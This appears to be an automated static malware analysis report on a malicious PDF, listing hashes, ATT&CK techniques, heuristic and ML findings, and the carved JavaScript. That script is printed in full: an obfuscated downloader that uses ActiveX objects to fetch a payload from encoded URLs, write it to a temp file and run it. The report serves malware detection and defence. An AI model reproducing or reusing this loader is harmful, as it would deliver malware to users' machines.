Malicious PDF — malware analysis report

Static analysis result for SHA-256 bb5c4aef51e5058f…

MALICIOUS

PDF

23.7 KB Authoring application: PyPDF2 First seen: 2026-05-09
MD5: f0159487d614a427ca9d4f8aab4e0225 SHA-1: ad1142c2c9fa936f6b8b4df94b27f30d04f30d3d SHA-256: bb5c4aef51e5058f27e3542ad7b8c0d520be262bf84576f9e2223e24f7d316c0
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF file contains embedded JavaScript, which is heavily obfuscated and utilizes eval() calls, indicating malicious intent. The ML classifier strongly flagged this PDF as malicious. The extracted JavaScript file, javascript_obj0004_000.js, is likely responsible for downloading and executing a secondary payload, a common technique for initial access and further infection.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /S /JavaScript
/JS (b'function aweC() {\n\tvar UlTmyE = ["f"][(5892 + 1162 - 7054)];\n\treturn UlTmyE;\n}\nfunction oVyV() {\n\tvar JaNzxDIt = ["r"][(5892 + 1162 - 7054)];\n\treturn JaNzxDIt;\n}\nfunction oCY() {\n\tvar deDBwdj = ["C"][(5892 + 1162 - 7054)];\n\treturn deDBwdj;\n}\nfunction YNGyyI() {\n\tvar bEcjEx = ["A"][(5892 + 1162 - 7054)];\n\treturn bEcjEx;\n}\nfunction dNyQp() {\n\tvar zJAMieH = ["o"][(5892 + 1162 - 7054)];\n\treturn zJAMieH;\n}\nfunction nEGHEd() {\n\tvar eurBYZVD = "c";\n\treturn eurBY …
>>
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x13F 6907 bytes
SHA-256: efffba814e6ae0a4d8c266c3e1e1a6d23d15fa65d813d8ac0473c746aed84886
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved artifact contains 3 eval/decoder/string-building token(s). 58 of 82 identifiers look randomly generated (e.g. 'TzKbWFfdMBiwoa') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
b'function aweC() {
	var UlTmyE = ["f"][(5892 + 1162 - 7054)];
	return UlTmyE;
}
function oVyV() {
	var JaNzxDIt = ["r"][(5892 + 1162 - 7054)];
	return JaNzxDIt;
}
function oCY() {
	var deDBwdj = ["C"][(5892 + 1162 - 7054)];
	return deDBwdj;
}
function YNGyyI() {
	var bEcjEx = ["A"][(5892 + 1162 - 7054)];
	return bEcjEx;
}
function dNyQp() {
	var zJAMieH = ["o"][(5892 + 1162 - 7054)];
	return zJAMieH;
}
function nEGHEd() {
	var eurBYZVD = "c";
	return eurBYZVD;
}
function htacRV() {
	var agFx = "a";
	return agFx;
}
function gyg() {
	var OUmt = "e";
	return OUmt;
}
function xUAVsjq() {
	var vXubxeBj = "h";
	return vXubxeBj;
}
function WOmmv() {
	var FQeKl = "parse";
	var mjwhNz = FQeKl + "Int";
	return mjwhNz;
}
function Qbhvf() {
	var UeFe = eval(WOmmv());
	return UeFe;
}
function CyTFqOO(rxtbqgn) {
	var AqmxLkRN = [(Qbhvf())][(5892 + 1162 - 7054)](rxtbqgn);
	return AqmxLkRN;
}
function nUqKP() {
	var WpQiUHn = [nEGHEd() + "h" + htacRV() + oVyV() + oCY() + dNyQp() + "d" + gyg() + "A" + "t"];
	var TJRdfZ = WpQiUHn[(5892 + 1162 - 7054)];
	return TJRdfZ;
}
function FhaWDXK() {
	var FhKKNODn = [nEGHEd() + xUAVsjq() + htacRV() + oVyV() + YNGyyI() + "t"];
	var QLQa = FhKKNODn[0];
	return QLQa;
}
function kgqaixw(EXhqyzKU, soeJ) {
	var EIzTzI = EXhqyzKU;
	var gVtaFkd = soeJ;
	var jTqqEae = EIzTzI[FhaWDXK()](gVtaFkd);
	return jTqqEae;
}
function qYLj(xKbEYzt, TmBeYmQ) {
	var Esxud = xKbEYzt[nUqKP()](TmBeYmQ);
	return Esxud;
}
function bYsyl(kvzsMX) {
	var vGSdf = [aweC(), oVyV(), dNyQp(), "m", oCY(), "h", htacRV(), oVyV(), oCY(), dNyQp(), "d", gyg()];
	return vGSdf[kvzsMX];
}
function PWcG() {
	var CNAJJTJ = bYsyl((5892 + 1162 - 7054)) + bYsyl((483 + 1659 - 2141)) + bYsyl((6608 - 6606)) + bYsyl((7885 - 7882)) + bYsyl((7091 + 1094 - 8181)) + bYsyl((4584 - 4579)) + bYsyl((8135 + 1007 - 9136)) + bYsyl((1448 + 2130 - 3571)) + bYsyl((8829 + 2255 - 11076)) + bYsyl((4323 - 4314)) + bYsyl((1871 + 2335 - 4196)) + bYsyl((2137 + 1179 - 3305));
	return CNAJJTJ;
}
function jHyNF(jSlisE, lRwqQJhr) {
	var dMZnG = jSlisE % lRwqQJhr;
	return dMZnG;
}
function EPp(DQmpOdLG, AMsZ) {
	var ElqID = DQmpOdLG ^ AMsZ;
	return ElqID;
}
function QxsmKIl(ZjwlrO) {
	var abpeqKKj = ZjwlrO / (7885 - 7882);
	return abpeqKKj;
}
function RPxQi() {
	var QVpDvYm = "l" + gyg() + "ngth";
	return QVpDvYm;
}
function bvLYxsA(PncGz) {
	var IAtvA = PncGz + (483 + 1659 - 2141);
	return IAtvA;
}
function ZYvFhZ(uDdaM) {
	var cPknfTR = '';
	var TSpX = (5892 + 1162 - 7054);
	var ZIsN = "TzKbWFfdMBiwoa" [RPxQi()];
	var ocbKbo = (5892 + 1162 - 7054);
	var KPsfpYhf = "";
	var ulcl = uDdaM[RPxQi()];
	while (ocbKbo < ulcl - (6608 - 6606)) {
		var WeBTn = [(0)][(0)];
		var CGnaVq = bvLYxsA(ocbKbo);
		var FsrF = kgqaixw(uDdaM, CGnaVq);
		var gXhw = kgqaixw(uDdaM, ocbKbo + (6608 - 6606));
		var pCfJNiVY = kgqaixw(uDdaM, ocbKbo);
		KPsfpYhf = pCfJNiVY + FsrF + gXhw;
		var ZAXn = kgqaixw(uDdaM, ocbKbo);
		var zUoA = kgqaixw(uDdaM, ocbKbo + (483 + 1659 - 2141));
		var IjiZ102 = (zUoA == (5892 + 1162 - 7054));
		if (ZAXn == WeBTn) {
			var ixVxZbgM = ocbKbo + (483 + 1659 - 2141);
			var cLnb = ocbKbo + (2);
			var lpmLj = kgqaixw(uDdaM, cLnb);
			KPsfpYhf = kgqaixw(uDdaM, ixVxZbgM) + lpmLj;
		}
		var lZhOvf = kgqaixw(uDdaM, ocbKbo);
		var IjiZ101 = (lZhOvf == (5892 + 1162 - 7054));
		if (IjiZ101 && IjiZ102) {
			var fsRRCTD = ocbKbo + (6608 - 6606);
			KPsfpYhf = kgqaixw(uDdaM, fsRRCTD);
		}
		TSpX = CyTFqOO('' + KPsfpYhf + '');
		var VPbkcMuE = QxsmKIl(ocbKbo);
		var uLMQQumW = jHyNF(VPbkcMuE, ZIsN);
		var IjiZ = qYLj("TzKbWFfdMBiwoa", uLMQQumW);
		TSpX = EPp(TSpX, IjiZ);
		var nsMfUGJK = PWcG();
		var yLMAxh = String;
		cPknfTR = cPknfTR + yLMAxh[nsMfUGJK](TSpX);
		var wBQi = (7885 - 7882);
		ocbKbo = ocbKbo + wBQi;
	}
	return cPknfTR;
}
function pJtiw() {
	var mVPvyRM = [(4505 - 4504), [ActiveXObject][(0)], (8041 + 1886 - 9925)][1];
	return mVPvyRM;
}
function UiocbQj(dfegg) {
	var WeXkk = new[pJtiw()][(7642 - 7642)](dfegg);
	return WeXkk;
}
function CjGTxH() {
	var HXlC = ZYvFhZ("060014063018109105073000040052071002003021038027040007034050015007044046026089012014057085027045101046015054099039017018");
	return HXlC;
}
function wxwUf() {
	var NUiMh = ZYvFhZ("060014063018109105073000044055007003003004039009047007054042021074046045004088033010001011013000121035030001");
	return NUiMh;
}
function KKdpZ() {
	var jfMJ = [(4505 - 4504), (eval(ZYvFhZ("003041040016062054018"))), (8041 + 1886 - 9925)][1];
	return jfMJ;
}
function IiiDcr() {
	var tVoiq = ZYvFhZ("025041019047027116072060000014033035059049");
	return tVoiq;
}
function esHngkx(rtwjdld, kdkndmd) {
	rtwjdld[ZYvFhZ("048031039007035035032013033039")](kdkndmd);
}
function eVtCrR(tuiyo, fmmd, kemn) {
	tuiyo[ZYvFhZ("059010046012")](fmmd, kemn, 0);
}
function mWxXHAn() {
	var acdWhag = IiiDcr();
	var iOqur = KKdpZ();
	var hmPTtUc = iOqur[ZYvFhZ("007025057011039050032017033046039022002004")];
	var HMSaHg = '';
	if (yIcQEE) {
		HMSaHg = wxwUf();
	} else {
		HMSaHg = CjGTxH();
	}
	var YTjb = UiocbQj(acdWhag);
	var fjXmBfbR = ZYvFhZ("021062004038021104053016063039008026");
	var szHEoB = (6789, 4290, 8055, 9389, 9805, 9764, 7212, 9353, 5844, ZYvFhZ("019063031"));
	eVtCrR(YTjb, szHEoB, HMSaHg);
	var jExRqpRY = ZYvFhZ("039031037006");
	try {
		YTjb[jExRqpRY]();
	} catch (aEYQ) {
		yIcQEE = true;
		mWxXHAn();
	}
	var bXpkYm = ZYvFhZ("007025057011039050015010042108047030003004007003056022050043041006039039010003");
	var hkDJq = UiocbQj(bXpkYm);
	if (YTjb[ZYvFhZ("007014042022034053")] == (8554 + 1234 - 9588)) {
		var BQWaxB = UiocbQj(fjXmBfbR);
		var ZzyEX = hkDJq[ZYvFhZ("019031063049039035005013044046047024003005049008")]((8041 + 1886 - 9925)) + '\\' + hkDJq[ZYvFhZ("019031063054050043022042044047012")]();
		BQWaxB[ZYvFhZ("027010046012")]();
		var UnhTK = ZYvFhZ("003041040016062054018074030042012027003");
		BQWaxB[ZYvFhZ("000003059007")] = (4505 - 4504);
		var QatO = UiocbQj(UnhTK);
		BQWaxB[ZYvFhZ("003008034022050")](YTjb[ZYvFhZ("006031056018056040021001015045013014")]);
		var JWwnG = (7642 - 7642);
		BQWaxB[ZYvFhZ("004021056011035047009010")] = JWwnG;
		BQWaxB[ZYvFhZ("007027061007003041032013033039")](ZzyEX);
		BQWaxB[ZYvFhZ("023022036017050")]();
		var RhDOhap = ZYvFhZ("055023047076050062003068098033073") + ZzyEX;
		QatO[ZYvFhZ("038015037")](RhDOhap, 0);
	} else {
		if (!yIcQEE) {
			yIcQEE = true;
			mWxXHAn();
		}
	}
	esHngkx(hkDJq, hmPTtUc);
}
function DirquR(kdqtOl) {
	var MSmsH = false;
	var NgXq = "XEbbkF";
	var YYKTcj = 55352;
	return 0;
}
try {
	if (DirquR(1) == 0) {
		var kRyyEF = 37971;
	}
	var yIcQEE = false;

	function ant() {
		var jtzkvKPE = ZYvFhZ("003041040");
		var jmkiX = jtzkvKPE + ZYvFhZ("038019059022");
		return jmkiX;
	}
	var kgKg = [
		[(eval(ant()))]
	][(0)][(0)];
	var JImTzL = ZYvFhZ("021008044023058035008016062");
	var dqOYA = kgKg[JImTzL];
	var yLDi = dqOYA[ZYvFhZ("056031037005035046")];
	var clere = (yLDi == (3545 + 1113 - 4658));
	if (clere) mWxXHAn();
} catch (kbdTn) {}'

Open this report in the interactive analyzer, or submit your own file for analysis.